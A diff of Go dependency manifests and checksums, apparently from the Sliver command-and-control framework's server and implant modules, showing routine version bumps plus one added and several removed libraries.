|
||||
done
|
||||
|
||||
## Implant
|
||||
for pkg in "${IMPLANT_TEST_PKGS[@]}"; do
|
||||
if should_skip_package "$pkg"; then
|
||||
|
||||
@@ -12,11 +12,10 @@ require (
|
||||
charm.land/bubbles/v2 v2.0.0
|
||||
charm.land/glamour/v2 v2.0.1
|
||||
charm.land/huh/v2 v2.0.3
|
||||
charm.land/lipgloss/v2 v2.0.4
|
||||
charm.land/lipgloss/v2 v2.0.6
|
||||
filippo.io/age v1.3.1
|
||||
github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb
|
||||
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0
|
||||
github.com/Ne0nd0g/go-clr v1.0.3
|
||||
github.com/SherClockHolmes/webpush-go v1.4.0
|
||||
github.com/alecthomas/chroma v0.10.0
|
||||
@@ -24,6 +23,7 @@ require (
|
||||
github.com/cheggaaa/pb/v3 v3.1.7
|
||||
github.com/chromedp/cdproto v0.0.0-20250803210736-d308e07a266d
|
||||
github.com/chromedp/chromedp v0.14.1
|
||||
github.com/ebitengine/purego v0.10.1
|
||||
github.com/glebarez/sqlite v1.11.0
|
||||
github.com/gofrs/uuid v4.4.0+incompatible
|
||||
github.com/golang/protobuf v1.5.4
|
||||
@@ -31,7 +31,7 @@ require (
|
||||
github.com/gorilla/mux v1.8.1
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
|
||||
github.com/hashicorp/yamux v0.1.2
|
||||
github.com/jedib0t/go-pretty/v6 v6.7.8
|
||||
github.com/jedib0t/go-pretty/v6 v6.8.3
|
||||
github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018
|
||||
github.com/klauspost/compress v1.18.4
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
@@ -49,7 +49,7 @@ require (
|
||||
github.com/sirupsen/logrus v1.9.4
|
||||
github.com/sliverarmory/beignet v0.0.3
|
||||
github.com/sliverarmory/malasada v0.0.3
|
||||
github.com/sliverarmory/reflektor v0.0.2
|
||||
github.com/sliverarmory/reflektor v0.0.6
|
||||
github.com/sliverarmory/wasm-donut v0.0.3
|
||||
github.com/spf13/cobra v1.10.2
|
||||
github.com/spf13/pflag v1.0.10
|
||||
@@ -63,7 +63,7 @@ require (
|
||||
golang.org/x/exp v0.0.0-20260218203240-3dfff04db8fa
|
||||
golang.org/x/mod v0.37.0
|
||||
golang.org/x/net v0.56.0
|
||||
golang.org/x/sys v0.46.0
|
||||
golang.org/x/sys v0.47.0
|
||||
golang.org/x/term v0.44.0
|
||||
golang.org/x/text v0.40.0
|
||||
golang.zx2c4.com/wireguard v0.0.0-20250521234502-f333402bd9cb
|
||||
@@ -126,7 +126,7 @@ require (
|
||||
github.com/cenkalti/backoff/v4 v4.3.0 // indirect
|
||||
github.com/cespare/xxhash/v2 v2.3.0 // indirect
|
||||
github.com/charmbracelet/harmonica v0.2.0 // indirect
|
||||
github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8 // indirect
|
||||
github.com/charmbracelet/ultraviolet v0.0.0-20260811164956-006e29f97886 // indirect
|
||||
github.com/charmbracelet/x/exp/ordered v0.1.0 // indirect
|
||||
github.com/charmbracelet/x/exp/slice v0.0.0-20250904123553-b4e2667e5ad5 // indirect
|
||||
github.com/charmbracelet/x/termios v0.1.1 // indirect
|
||||
@@ -232,8 +232,6 @@ require (
|
||||
github.com/akutz/memconn v0.1.0 // indirect
|
||||
github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e // indirect
|
||||
github.com/atotto/clipboard v0.1.4
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
|
||||
github.com/aws/aws-sdk-go-v2 v1.41.3 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/config v1.32.11 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/ssm v1.65.1 // indirect
|
||||
@@ -241,7 +239,7 @@ require (
|
||||
github.com/carapace-sh/carapace-shlex v1.1.1 // indirect
|
||||
github.com/catppuccin/go v0.3.0 // indirect
|
||||
github.com/charmbracelet/colorprofile v0.4.3
|
||||
github.com/charmbracelet/x/ansi v0.11.7
|
||||
github.com/charmbracelet/x/ansi v0.11.8
|
||||
github.com/charmbracelet/x/exp/charmtone v0.0.0-20260109001716-2fbdffcb221f
|
||||
github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0 // indirect
|
||||
github.com/charmbracelet/x/term v0.2.2 // indirect
|
||||
@@ -281,12 +279,12 @@ require (
|
||||
github.com/jinzhu/now v1.1.5 // indirect
|
||||
github.com/jsimonetti/rtnetlink v1.4.2 // indirect
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51
|
||||
github.com/lucasb-eyer/go-colorful v1.4.0
|
||||
github.com/lucasb-eyer/go-colorful v1.4.1
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/mark3labs/mcp-go v0.45.0
|
||||
github.com/mattn/go-colorable v0.1.14 // indirect
|
||||
github.com/mattn/go-isatty v0.0.20 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.23 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.24 // indirect
|
||||
github.com/mdlayher/netlink v1.8.0 // indirect
|
||||
github.com/mdlayher/socket v0.5.1 // indirect
|
||||
github.com/mitchellh/go-ps v1.0.0 // indirect
|
||||
|
||||
@@ -12,8 +12,8 @@ charm.land/glamour/v2 v2.0.1 h1:xl+r00A4aJWU0z8fgwKd9fQQ4rsphqGUzuEiXZP5n+c=
|
||||
charm.land/glamour/v2 v2.0.1/go.mod h1:jo9z8XqVKPeEFMVdvCRLGk++RyJ3CdUwgNr7EvXLw3k=
|
||||
charm.land/huh/v2 v2.0.3 h1:2cJsMqEPwSywGHvdlKsJyQKPtSJLVnFKyFbsYZTlLkU=
|
||||
charm.land/huh/v2 v2.0.3/go.mod h1:93eEveeeqn47MwiC3tf+2atZ2l7Is88rAtmZNZ8x9Wc=
|
||||
charm.land/lipgloss/v2 v2.0.4 h1:lcPeVtcp23SNra7lHy8iYE4UC2aIipVQ47sbGyyxR5Q=
|
||||
charm.land/lipgloss/v2 v2.0.4/go.mod h1:0653x8epbZSzdDfO/XPS1a/uYPOBeSsCssOpJOqDzik=
|
||||
charm.land/lipgloss/v2 v2.0.6 h1:EaGKeuA8FvF+v2BT5VmZd2LoYLaMZJXA5n34th8nCIQ=
|
||||
charm.land/lipgloss/v2 v2.0.6/go.mod h1:ipDDJNSGa1hlwDtSfW1s2/xR8Vdhbut4PXh2zEKZd0Q=
|
||||
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
|
||||
cloud.google.com/go v0.123.0 h1:2NAUJwPR47q+E35uaJeYoNhuNEM9kM8SjgRgdeOJUSE=
|
||||
cloud.google.com/go v0.123.0/go.mod h1:xBoMV08QcqUGuPW65Qfm1o9Y4zKZBpGS+7bImXLTAZU=
|
||||
@@ -49,14 +49,11 @@ firebase.google.com/go/v4 v4.18.0 h1:S+g0P72oDGqOaG4wlLErX3zQmU9plVdu7j+Bc3R1qFw
|
||||
firebase.google.com/go/v4 v4.18.0/go.mod h1:P7UfBpzc8+Z3MckX79+zsWzKVfpGryr6HLbAe7gCWfs=
|
||||
github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb h1:c1Bb1n1wr2xgTHkNVxkUHBshff33m+IXgY6lE6oYttg=
|
||||
github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb/go.mod h1:fSQ9asCJK/lIGXUnoRwJNMXcnzel53AsZMCtlVBIn3k=
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a h1:4c0nc0krv8eh7gD809n+swLaCuFyHpxdrxwx0ZmHvBw=
|
||||
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 h1:T8z8Wz/fqaPPANF8Unv4LjWLoa0TAvsjYAsRpvSkOqs=
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563/go.mod h1:HMbzsKPz1sF7H4Hmeovh+d2PH2iKPYpAB4XMOVz8wmM=
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0 h1:1sdnMvqxxlMXsu8ku/Xrh6gi3V40ykksst5fd0lfWnc=
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc=
|
||||
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
|
||||
github.com/BurntSushi/toml v1.4.1-0.20240526193622-a339e1f7089c h1:pxW6RcqyfI9/kWtOwnv/G+AzdKuy2ZrqINhenH4HyNs=
|
||||
github.com/BurntSushi/toml v1.4.1-0.20240526193622-a339e1f7089c/go.mod h1:ukJfTF/6rtPPRCnwkur4qwRxa8vTRFBF0uk2lLoLwho=
|
||||
@@ -114,10 +111,6 @@ github.com/atc0005/go-teams-notify/v2 v2.14.0 h1:7N+xw+COnYANLREaAveQ65rsNQ12nIZ
|
||||
github.com/atc0005/go-teams-notify/v2 v2.14.0/go.mod h1:EECsWM2b0Hvoz7O+QdlsvyN2KCUOFQCGj8bUBXv3A3Q=
|
||||
github.com/atotto/clipboard v0.1.4 h1:EH0zSVneZPSuFR11BlR9YppQTVDbh5+16AmcJi4g1z4=
|
||||
github.com/atotto/clipboard v0.1.4/go.mod h1:ZY9tmq7sm5xIbd9bOK4onWV4S6X0u6GY7Vn0Yu86PYI=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE=
|
||||
github.com/aws/aws-sdk-go-v2 v1.41.3 h1:4kQ/fa22KjDt13QCy1+bYADvdgcxpfH18f0zP542kZA=
|
||||
github.com/aws/aws-sdk-go-v2 v1.41.3/go.mod h1:mwsPRE8ceUUpiTgF7QmQIJ7lgsKUPQOUl3o72QBrE1o=
|
||||
github.com/aws/aws-sdk-go-v2/config v1.32.11 h1:ftxI5sgz8jZkckuUHXfC/wMUc8u3fG1vQS0plr2F2Zs=
|
||||
@@ -186,10 +179,10 @@ github.com/charmbracelet/colorprofile v0.4.3 h1:QPa1IWkYI+AOB+fE+mg/5/4HRMZcaXex
|
||||
github.com/charmbracelet/colorprofile v0.4.3/go.mod h1:/zT4BhpD5aGFpqQQqw7a+VtHCzu+zrQtt1zhMt9mR4Q=
|
||||
github.com/charmbracelet/harmonica v0.2.0 h1:8NxJWRWg/bzKqqEaaeFNipOu77YR5t8aSwG4pgaUBiQ=
|
||||
github.com/charmbracelet/harmonica v0.2.0/go.mod h1:KSri/1RMQOZLbw7AHqgcBycp8pgJnQMYYT8QZRqZ1Ao=
|
||||
github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8 h1:eyFRbAmexyt43hVfeyBofiGSEmJ7krjLOYt/9CF5NKA=
|
||||
github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8/go.mod h1:SQpCTRNBtzJkwku5ye4S3HEuthAlGy2n9VXZnWkEW98=
|
||||
github.com/charmbracelet/x/ansi v0.11.7 h1:kzv1kJvjg2S3r9KHo8hDdHFQLEqn4RBCb39dAYC84jI=
|
||||
github.com/charmbracelet/x/ansi v0.11.7/go.mod h1:9qGpnAVYz+8ACONkZBUWPtL7lulP9No6p1epAihUZwQ=
|
||||
github.com/charmbracelet/ultraviolet v0.0.0-20260811164956-006e29f97886 h1:rdnVWKgJpTVXKuKuJyxDJ+NFJdUaUqGvyGy61OcvlbA=
|
||||
github.com/charmbracelet/ultraviolet v0.0.0-20260811164956-006e29f97886/go.mod h1:nAw0d9PhFp1qdzi2xhQU5YOu5sVpDIHWlaW2Uz/bCro=
|
||||
github.com/charmbracelet/x/ansi v0.11.8 h1:JMFwp0CgDC2+jcOB162HH5k7I3FVbgFSMMYg7dSPBQQ=
|
||||
github.com/charmbracelet/x/ansi v0.11.8/go.mod h1:ZNN+3mXny/516oTQPLMPIBeSINvNJJQ8uQXDgbeJxY0=
|
||||
github.com/charmbracelet/x/conpty v0.1.1 h1:s1bUxjoi7EpqiXysVtC+a8RrvPPNcNvAjfi4jxsAuEs=
|
||||
github.com/charmbracelet/x/conpty v0.1.1/go.mod h1:OmtR77VODEFbiTzGE9G1XiRJAga6011PIm4u5fTNZpk=
|
||||
github.com/charmbracelet/x/errors v0.0.0-20240508181413-e8d8b6e2de86 h1:JSt3B+U9iqk37QUU2Rvb6DSBYRLtWqFqfxf8l5hOZUA=
|
||||
@@ -274,6 +267,8 @@ github.com/drswork/go-twitter v0.0.0-20221107160839-dea1b6ed53d7 h1:uh1GSejOhVPR
|
||||
github.com/drswork/go-twitter v0.0.0-20221107160839-dea1b6ed53d7/go.mod h1:ncTaGuXc5v7AuiVekeJ0Nwh8Bf4cudukoj0qM/15UZE=
|
||||
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
|
||||
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
|
||||
github.com/ebitengine/purego v0.10.1 h1:dewVBCBT2GaMu1SrNTYxQhgQBethzfhiwvZiLGP/qyY=
|
||||
github.com/ebitengine/purego v0.10.1/go.mod h1:iIjxzd6CiRiOG0UyXP+V1+jWqUXVjPKLAI0mRfJZTmQ=
|
||||
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
|
||||
@@ -462,8 +457,8 @@ github.com/jackc/puddle/v2 v2.2.2/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFr
|
||||
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
|
||||
github.com/jcmturner/gofork v1.7.6 h1:QH0l3hzAU1tfT3rZCnW5zXl+orbkNMMRGJfdJjHVETg=
|
||||
github.com/jcmturner/gofork v1.7.6/go.mod h1:1622LH6i/EZqLloHfE7IeZ0uEJwMSUyQ/nDd82IeqRo=
|
||||
github.com/jedib0t/go-pretty/v6 v6.7.8 h1:BVYrDy5DPBA3Qn9ICT+PokP9cvCv1KaHv2i+Hc8sr5o=
|
||||
github.com/jedib0t/go-pretty/v6 v6.7.8/go.mod h1:YwC5CE4fJ1HFUDeivSV1r//AmANFHyqczZk+U6BDALU=
|
||||
github.com/jedib0t/go-pretty/v6 v6.8.3 h1:yVSk5aemoYHCvcrtqyXklwqcgHQIQzmy/oUzFlmffSQ=
|
||||
github.com/jedib0t/go-pretty/v6 v6.8.3/go.mod h1:YwC5CE4fJ1HFUDeivSV1r//AmANFHyqczZk+U6BDALU=
|
||||
github.com/jellydator/ttlcache/v3 v3.1.0 h1:0gPFG0IHHP6xyUyXq+JaD8fwkDCqgqwohXNJBcYE71g=
|
||||
github.com/jellydator/ttlcache/v3 v3.1.0/go.mod h1:hi7MGFdMAwZna5n2tuvh63DvFLzVKySzCVW6+0gA2n4=
|
||||
github.com/jezek/xgb v1.1.1 h1:bE/r8ZZtSv7l9gk6nU0mYx51aXrvnyb44892TwSaqS4=
|
||||
@@ -521,8 +516,8 @@ github.com/lesnuages/snitch v0.6.0 h1:vOao32MdYDHYDcTAq2CKszDh6Dn8Bv1Gmgc8uVh193
|
||||
github.com/lesnuages/snitch v0.6.0/go.mod h1:RfXlAVJYL7gUoZ9VMMon4LqrPiAjC8x62Ntbse4a4s0=
|
||||
github.com/line/line-bot-sdk-go v7.8.0+incompatible h1:Uf9/OxV0zCVfqyvwZPH8CrdiHXXmMRa/L91G3btQblQ=
|
||||
github.com/line/line-bot-sdk-go v7.8.0+incompatible/go.mod h1:0RjLjJEAU/3GIcHkC3av6O4jInAbt25nnZVmOFUgDBg=
|
||||
github.com/lucasb-eyer/go-colorful v1.4.0 h1:UtrWVfLdarDgc44HcS7pYloGHJUjHV/4FwW4TvVgFr4=
|
||||
github.com/lucasb-eyer/go-colorful v1.4.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
|
||||
github.com/lucasb-eyer/go-colorful v1.4.1 h1:1EO+WB73+EH8EVbzlrG3KLAfEypQWVHIBqlTf+2hNss=
|
||||
github.com/lucasb-eyer/go-colorful v1.4.1/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
|
||||
github.com/mailgun/errors v0.4.0 h1:6LFBvod6VIW83CMIOT9sYNp28TCX0NejFPP4dSX++i8=
|
||||
@@ -543,8 +538,8 @@ github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D
|
||||
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
|
||||
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
||||
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
|
||||
github.com/mattn/go-runewidth v0.0.23 h1:7ykA0T0jkPpzSvMS5i9uoNn2Xy3R383f9HDx3RybWcw=
|
||||
github.com/mattn/go-runewidth v0.0.23/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs=
|
||||
github.com/mattn/go-runewidth v0.0.24 h1:cpokDiIn0MGnhdHwuWnJBITySJ20QyNGnY2kR/ay2DU=
|
||||
github.com/mattn/go-runewidth v0.0.24/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs=
|
||||
github.com/mattn/go-sqlite3 v1.14.32 h1:JD12Ag3oLy1zQA+BNn74xRgaBbdhbNIDYvQUEuuErjs=
|
||||
github.com/mattn/go-sqlite3 v1.14.32/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
|
||||
github.com/mdlayher/genetlink v1.3.2 h1:KdrNKe+CTu+IbZnm/GVUMXSqBBLqcGpRDa0xkQy56gw=
|
||||
@@ -678,8 +673,8 @@ github.com/sliverarmory/beignet v0.0.3 h1:ssR6AK9lirVulHZhQMyMmVAi0FcFwWxlh9LwKC
|
||||
github.com/sliverarmory/beignet v0.0.3/go.mod h1:xXfTKBJqFBY/pakRFwJ+5+oGiSlg2CiCVUg/76kW1H4=
|
||||
github.com/sliverarmory/malasada v0.0.3 h1:b2KG2NhQVfBIIrbP8rGJwmdh7o8LH6NKYKH1DF4No1U=
|
||||
github.com/sliverarmory/malasada v0.0.3/go.mod h1:F96IgTOoX72FU995F+Jip0ni8Z5sXiYOwfmlRGobJkQ=
|
||||
github.com/sliverarmory/reflektor v0.0.2 h1:nrEEFXrYiYFLCqyMpOJpe4RsY0Pu3tc1CvwChsNoAq4=
|
||||
github.com/sliverarmory/reflektor v0.0.2/go.mod h1:Rw7qTWQQlCM3YTxxeuklFt3Q+kh1Ytlmzg5UVw1Nhkg=
|
||||
github.com/sliverarmory/reflektor v0.0.6 h1:iW492LhJ6yeG3u647mJgyhdTbjrZZNnw8bks4UxIL1s=
|
||||
github.com/sliverarmory/reflektor v0.0.6/go.mod h1:+lCyQy0xHVqx6D5nYbcz5XIDVtAGbDMIMU0Yc6Brb1s=
|
||||
github.com/sliverarmory/wasm-donut v0.0.3 h1:sldbfAsz1YziULlhDKpU3DY/+/dAfv5gl26qSqHIpzE=
|
||||
github.com/sliverarmory/wasm-donut v0.0.3/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
|
||||
github.com/sony/sonyflake v1.0.0 h1:MpU6Ro7tfXwgn2l5eluf9xQvQJDROTBImNCfRXn/YeM=
|
||||
@@ -927,7 +922,6 @@ golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210112080510-489259a85091/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211025201205-69cdffdb9359/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
@@ -945,8 +939,8 @@ golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.46.0 h1:noSf2Fq6F8DBgS+LysIkx7rIExoNHJsxOAtPp4rthXw=
|
||||
golang.org/x/sys v0.46.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
|
||||
golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs=
|
||||
golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
|
||||
golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
|
||||
|
||||
+2
-5
@@ -4,14 +4,14 @@ go 1.26.6
|
||||
|
||||
require (
|
||||
filippo.io/age v1.1.1
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0
|
||||
github.com/Ne0nd0g/go-clr v1.0.3
|
||||
github.com/ebitengine/purego v0.10.1
|
||||
github.com/gofrs/uuid v4.0.0+incompatible
|
||||
github.com/hashicorp/yamux v0.1.2
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/miekg/dns v1.1.50
|
||||
github.com/sliverarmory/reflektor v0.0.2
|
||||
github.com/sliverarmory/reflektor v0.0.6
|
||||
github.com/stretchr/testify v1.8.4
|
||||
github.com/tetratelabs/wazero v1.7.1
|
||||
github.com/things-go/go-socks5 v0.0.4
|
||||
@@ -25,11 +25,8 @@ require (
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 // indirect
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
|
||||
github.com/Microsoft/go-winio v0.6.0 // indirect
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
|
||||
github.com/davecgh/go-spew v1.1.1 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/google/btree v1.1.2 // indirect
|
||||
|
||||
+4
-12
@@ -1,22 +1,16 @@
|
||||
filippo.io/age v1.1.1 h1:pIpO7l151hCnQ4BdyBujnGP2YlUo0uj6sAVNHGBvXHg=
|
||||
filippo.io/age v1.1.1/go.mod h1:l03SrzDUrBkdBx8+IILdnn2KZysqQdbEBUQ4p3sqEQE=
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 h1:8kQNJC9AxAaNs0JkXnWUfbNeDnIO1QLYYWjYqC6JEE4=
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0 h1:1sdnMvqxxlMXsu8ku/Xrh6gi3V40ykksst5fd0lfWnc=
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc=
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc h1:7D+Bh06CRPCJO3gr2F7h1sriovOZ8BMhca2Rg85c2nk=
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
|
||||
github.com/Microsoft/go-winio v0.6.0 h1:slsWYD/zyx7lCXoZVlvQrj0hPTM1HI4+v1sIda2yDvg=
|
||||
github.com/Microsoft/go-winio v0.6.0/go.mod h1:cTAf44im0RAYeL23bpB+fzCyDH2MJiz2BO69KH/soAE=
|
||||
github.com/Ne0nd0g/go-clr v1.0.3 h1:xt92wwuqY23ZSC7RuHD3mKu3K22Bk5NNbxI803vojK4=
|
||||
github.com/Ne0nd0g/go-clr v1.0.3/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/ebitengine/purego v0.10.1 h1:dewVBCBT2GaMu1SrNTYxQhgQBethzfhiwvZiLGP/qyY=
|
||||
